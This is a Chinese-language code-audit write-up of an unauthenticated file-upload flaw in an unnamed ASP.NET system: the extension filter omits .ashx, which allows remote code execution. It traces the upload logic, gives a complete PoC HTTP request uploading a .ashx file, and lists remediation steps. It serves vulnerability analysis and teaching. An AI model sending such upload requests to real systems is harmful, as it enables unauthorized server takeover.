某系统代码审计到getshell
字数 1219 2025-08-22 12:22:54

某系统文件上传漏洞分析与利用教学文档

漏洞概述

本漏洞存在于某系统的文件上传功能中,由于未对.ashx文件扩展名进行有效过滤,导致攻击者可以上传恶意脚本文件,进而实现远程代码执行(RCE)。

系统架构分析

  • 系统分为前端路由和后端路由
  • 文件上传接口位于/file/UploadFile,该接口位于鉴权白名单中

漏洞分析流程

1. 后端逻辑分析

  1. 系统首先检查IsFileStorageBack的值(通过web.config配置)

    • 当值为0时,跳过if语句,进入新版本文件上传逻辑
    • 调用CreateFileStorageServ().UploadFile()
  2. CreateFileStorageServ方法分析:

    • 搜索StorageFactory发现位于Form.Service.dll
    • CreateStorage方法中,当storagetype未传入时默认设置为0
    • 进入"0" => new LocalStorage(),执行本地文件上传

2. 文件上传路径构造

上传路径通过以下方式构造:

  • 参数:basepath, vguid, filename
  • basepathvguid通过Combine方法拼接为路径
  • 使用CheckInvalidPathChars进行路径检测
  • 通过StorageHelper.MergePath进行路径拼接

3. 文件写入操作

using (FileStream fileStream = new FileStream(text, FileMode.OpenOrCreate, FileAccess.Write))
{
    inputStream.CopyTo(fileStream);
    num = fileStream.Length;
    fileStream.Close();
}

4. 文件扩展名过滤分析

  • 系统在SaveData方法前调用StorageExtNameFilter_Calling进行扩展名过滤
  • 过滤列表不包含.ashx扩展名
  • 已过滤的扩展名包括(但不限于):
    • .aspx
    • .asp
    • .php
    • 其他常见脚本扩展名

漏洞利用方法

请求包构造要点

  1. 必须设置storagetype头为0,以进入LocalStorage()处理逻辑
  2. contentHeaders头可以为空
  3. flag值为true时,使用httpPostedFileBase.InputStream处理上传文件

完整PoC请求

POST /File/UploadFile?a=1 HTTP/1.1
Host: x.x.x.x
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Length: 379

------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="basepath"


------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="vguid"

xxxxxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="file"; filename="123.ashx"

xxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg--

关键参数说明

  • basepath: 上传基础路径(可为空)
  • vguid: 虚拟GUID参数(需要有效值)
  • file: 上传的文件内容,必须使用.ashx扩展名
  • storagetype头: 必须设置为0(通过请求头设置)

漏洞修复建议

  1. 完善文件扩展名过滤机制,将.ashx加入黑名单
  2. 实现白名单机制,只允许特定的安全文件类型
  3. 对上传文件内容进行严格校验
  4. 对上传文件路径进行更严格的权限控制
  5. 考虑移除文件上传接口的白名单特性,增加身份验证

总结

本漏洞利用的关键在于系统未对.ashx文件扩展名进行过滤,结合文件上传接口位于白名单中的特性,使得攻击者可以绕过常规防护措施上传恶意脚本文件。通过分析系统处理文件上传的完整流程,可以构造特定的HTTP请求实现攻击。

某系统文件上传漏洞分析与利用教学文档 漏洞概述 本漏洞存在于某系统的文件上传功能中,由于未对 .ashx 文件扩展名进行有效过滤,导致攻击者可以上传恶意脚本文件,进而实现远程代码执行(RCE)。 系统架构分析 系统分为前端路由和后端路由 文件上传接口位于 /file/UploadFile ,该接口位于鉴权白名单中 漏洞分析流程 1. 后端逻辑分析 系统首先检查 IsFileStorageBack 的值(通过 web.config 配置) 当值为0时,跳过if语句,进入新版本文件上传逻辑 调用 CreateFileStorageServ().UploadFile() CreateFileStorageServ 方法分析: 搜索 StorageFactory 发现位于 Form.Service.dll CreateStorage 方法中,当 storagetype 未传入时默认设置为0 进入 "0" => new LocalStorage() ,执行本地文件上传 2. 文件上传路径构造 上传路径通过以下方式构造: 参数: basepath , vguid , filename basepath 和 vguid 通过 Combine 方法拼接为路径 使用 CheckInvalidPathChars 进行路径检测 通过 StorageHelper.MergePath 进行路径拼接 3. 文件写入操作 4. 文件扩展名过滤分析 系统在 SaveData 方法前调用 StorageExtNameFilter_Calling 进行扩展名过滤 过滤列表不包含 .ashx 扩展名 已过滤的扩展名包括(但不限于): .aspx .asp .php 其他常见脚本扩展名 漏洞利用方法 请求包构造要点 必须设置 storagetype 头为0,以进入 LocalStorage() 处理逻辑 contentHeaders 头可以为空 flag 值为true时,使用 httpPostedFileBase.InputStream 处理上传文件 完整PoC请求 关键参数说明 basepath : 上传基础路径(可为空) vguid : 虚拟GUID参数(需要有效值) file : 上传的文件内容,必须使用 .ashx 扩展名 storagetype 头: 必须设置为0(通过请求头设置) 漏洞修复建议 完善文件扩展名过滤机制,将 .ashx 加入黑名单 实现白名单机制,只允许特定的安全文件类型 对上传文件内容进行严格校验 对上传文件路径进行更严格的权限控制 考虑移除文件上传接口的白名单特性,增加身份验证 总结 本漏洞利用的关键在于系统未对 .ashx 文件扩展名进行过滤,结合文件上传接口位于白名单中的特性,使得攻击者可以绕过常规防护措施上传恶意脚本文件。通过分析系统处理文件上传的完整流程,可以构造特定的HTTP请求实现攻击。